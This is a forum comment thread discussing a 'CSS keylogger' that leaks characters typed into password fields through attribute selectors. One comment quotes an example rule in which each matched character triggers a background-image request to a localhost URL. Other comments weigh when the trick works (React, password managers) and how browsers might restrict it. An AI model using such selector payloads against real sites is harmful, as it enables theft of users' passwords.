Lurker News

Comments (168) 24 threads

Show all comments

Showing thread 2 of 24

rickdmer6 replies#
Hmm, that's pretty bad. CSS probably shouldn't be able to read password inputs.

Edit: This doesn't seem to work for me in Chrome 63.0.3239.132
Edit 2: OK, so it appears that this will only work on a password input that updates its "value" attribute with the typed in value. This doesn't happen unless there is JavaScript that updates the value attr with the input.value

maxchehab2 replies#
Author here. I believe the injection of the css in the chrome extension will only work in newer versions of chrome. However the "attack" would still work for all browsers. :)
xab9#
Nice job. Css had similar attacks maybe a decade ago, with link:visited (referer snooping) and image with src to a logged in site... but I like the selector trick.

Extensions are a huge attack vector, but as long as one can't turn them off on a per domain basis, I'm convinced that the browsers just don't give a damn.

Manishearth#
This is incorrect.

The [value=foo] selector does not work for the actual value of the field, only the `value` attribute (used to set the initial value).
This means that both:
- typing the password
- setting the password via element.value=foo
will not work
The only thing that will hit this is setting the attribute via element.setAttribute("value", "foo"), and this will not update the password. It seems like React does this for whatever reason, though.

akincisor2 replies#
I think it would work against password managers like LastPass which fill in passwords using JS.
criswell1 reply#
It would only give you the last character of the password though. You can use CSS selectors to check the start [value^=a] and anything in the middle [value*=a] as well though which can be revealing I imagine.
Klathmon#
Well there's the start [value^=a], the end [value$=a] and the "anywhere" [value*=a] selectors.

In something like 13000 selectors you could easily get the first 2, last 2, and any characters in the middle that are in the password making targeted attacks significantly easier. (This is based on very-very rough napkin math assuming an ~80 character dictionary for upper/lower, numbers, and "symbols" since I didn't want to count)
That's a lot, but it's well within the realm of possibility (it looks like that would end up as about a 1mb css file)

bzbarsky#
Not if they do it correctly (by setting .value on the password field)!
dclowd99012 replies#
So wouldn't that mean, then, that your CSS matchers would have to contain absolutely every permutation of text possible?
jaymzcampbell#
The CSS attribute selector matches against the character at the end of the word [0], so you just need a-z, 0-9 etc and not their permutations. From the end of the readme there's this example:

    input[type="password"][value$="a"] {
      background-image: url("http://localhost:3000/a");
    }
[0] https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_s...
dmitrygr1 reply#
No, since it matches only the last character, you watch the requests it makes IN order to get the entire password. As you type "qwerty", it will request "Q", "W", "E", "R", "T", and finally "Y"

no permutations needed

gsnedders20 replies#
Assuming the server receives the requests in the same order as the requests were sent, which on mobile networks isn't anywhere near so certain.

Continue this thread — 20 replies

theandrewbailey4 replies#
Is there even a use case where CSS needs to read any field's value? (Checkboxes and radio buttons have :checked.)
kodablah1 reply#
It's about the selector, so the question should be rephrased to "Is there even a use case where CSS needs to select a node based on any field's value?". I think the answer is yes, but it can be limited. But it can become annoying to have a blacklist of attributes that aren't allowed to be selected on.
sgc#
It's pretty common to check values of a field and set a color to the border etc. based on that, which I think is even very good ui. Maybe browsers should force restricted selectors only on some fields, which only allow limited matching based on predefined character classes or el1 === el2, since it sounds like this could be used for a cross site css attack (perhaps there already were some and I am ignorant).
jakobegger2 replies#
Something like conditional formatting maybe? Eg. make negative values red?

Make an input field red when it contains an invalid character?

Continue this thread — 1 reply

dillondoyle#
I was also thinking along those lines, a way to LINT/validate form fields when JS is disabled, but seems like a very obscure and inefficient (use html5 validation + js, validate server side on submit)
magnat#
It might be useful to show/hide certain parts of the form depending on a value selected in dropdown (SELECT) control. As for text input controls - perhaps to highlight the content when value matches expected (but not required) pattern.
xab9#
it's an attribute matcher, the fact that value is an attribute (or prop or whatever, I don't care) is just sugar
oblosys4 replies#
If you use React, updating the value on every change is a very common pattern.
criswell3 replies#
Hopefully most are updating the property and not the attribute.
humblebee#
It updates the attribute, you can see this pretty easily by going to the Instagram website. If you inspect the password field in the browser, when you type in a value you can see it reflected on the `value` attribute of the input element.
vog#
But that requires extra work, compared to simple JSX-based React code, doesn't it?
poxrud7 replies#
For those that are confused, updating the property would mean:

  this.input.value = 'password';
This would be fine. However updating the attribute (the way React recommends it with controlled components) would be something like:


This would be vulnerable to the the CSS keylogger.

Continue this thread — 7 replies

Continue this thread — 3 more replies

Continue this thread — 1 more reply